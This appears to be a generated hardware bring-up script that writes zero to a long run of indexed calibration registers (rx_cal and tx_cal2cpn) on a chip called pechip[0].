bringup jspec write pechip[0] register pg_core fctl rx_cal 1762 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1763 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1764 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1765 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1766 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1767 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1768 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1769 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1770 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1771 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1772 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1773 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1774 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1775 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1776 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1777 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1778 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1779 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1780 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1781 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1782 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1783 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1784 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1785 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1786 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1787 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1788 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1789 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1790 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1791 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1792 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1793 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1794 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1795 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1796 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1797 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1798 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1799 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1800 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1801 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1802 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1803 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1804 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1805 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1806 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1807 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1808 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1809 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1810 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1811 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1812 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1813 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1814 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1815 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1816 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1817 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1818 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1819 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1820 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1821 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1822 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1823 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1824 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1825 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1826 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1827 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1828 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1829 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1830 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1831 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1832 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1833 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1834 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1835 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1836 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1837 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1838 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1839 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1840 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1841 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1842 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1843 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1844 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1845 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1846 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1847 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1848 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1849 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1850 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1851 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1852 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1853 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1854 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1855 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1856 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1857 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1858 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1859 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1860 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1861 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1862 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1863 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1864 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1865 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1866 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1867 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1868 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1869 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1870 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1871 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1872 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1873 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1874 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1875 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1876 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1877 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1878 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1879 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1880 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1881 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1882 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1883 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1884 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1885 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1886 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1887 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1888 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1889 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1890 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1891 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1892 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1893 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1894 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1895 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1896 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1897 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1898 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1899 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1900 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1901 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1902 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1903 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1904 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1905 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1906 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1907 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1908 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1909 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1910 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1911 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1912 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1913 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1914 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1915 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1916 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1917 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1918 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1919 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1920 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1921 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1922 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1923 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1924 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1925 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1926 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1927 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1928 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1929 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1930 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1931 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1932 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1933 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1934 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1935 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1936 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1937 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1938 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1939 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1940 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1941 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1942 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1943 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1944 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1945 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1946 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1947 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1948 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1949 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1950 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1951 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1952 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1953 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1954 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1955 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1956 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1957 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1958 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1959 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1960 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1961 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1962 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1963 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1964 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1965 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1966 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1967 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1968 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1969 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1970 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1971 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1972 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1973 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1974 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1975 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1976 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1977 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1978 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1979 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1980 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1981 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1982 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1983 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1984 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1985 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1986 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1987 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1988 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1989 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1990 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1991 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1992 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1993 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1994 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1995 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1996 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1997 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1998 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1999 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2000 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2001 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2002 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2003 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2004 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2005 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2006 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2007 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2008 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2009 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2010 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2011 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2012 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2013 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2014 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2015 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2016 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2017 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2018 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2019 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2020 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2021 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2022 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2023 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2024 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2025 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2026 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2027 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2028 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2029 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2030 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2031 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2032 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2033 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2034 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2035 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2036 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2037 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2038 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2039 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2040 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2041 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2042 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2043 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2044 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2045 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2046 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2047 0x000000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 0 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 2 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 3 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 4 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 5 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 6 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 7 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 8 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 9 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 10 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 11 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 12 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 13 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 14 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 15 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 16 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 17 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 18 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 19 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 20 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 21 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 22 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 23 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 24 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 25 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 26 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 27 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 28 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 29 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 30 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 31 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 32 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 33 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 34 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 35 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 36 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 37 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 38 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 39 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 40 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 41 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 42 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 43 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 44 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 45 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 46 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 47 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 48 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 49 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 50 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 51 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 52 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 53 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 54 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 55 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 56 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 57 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 58 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 59 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 60 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 61 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 62 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 63 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 64 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 65 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 66 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 67 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 68 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 69 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 70 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 71 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 72 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 73 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 74 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 75 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 76 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 77 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 78 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 79 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 80 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 81 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 82 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 83 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 84 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 85 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 86 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 87 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 88 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 89 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 90 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 91 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 92 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 93 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 94 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 95 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 96 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 97 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 98 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 99 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 100 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 101 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 102 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 103 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 104 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 105 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 106 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 107 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 108 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 109 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 110 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 111 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 112 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 113 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 114 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 115 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 116 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 117 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 118 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 119 0x00000000
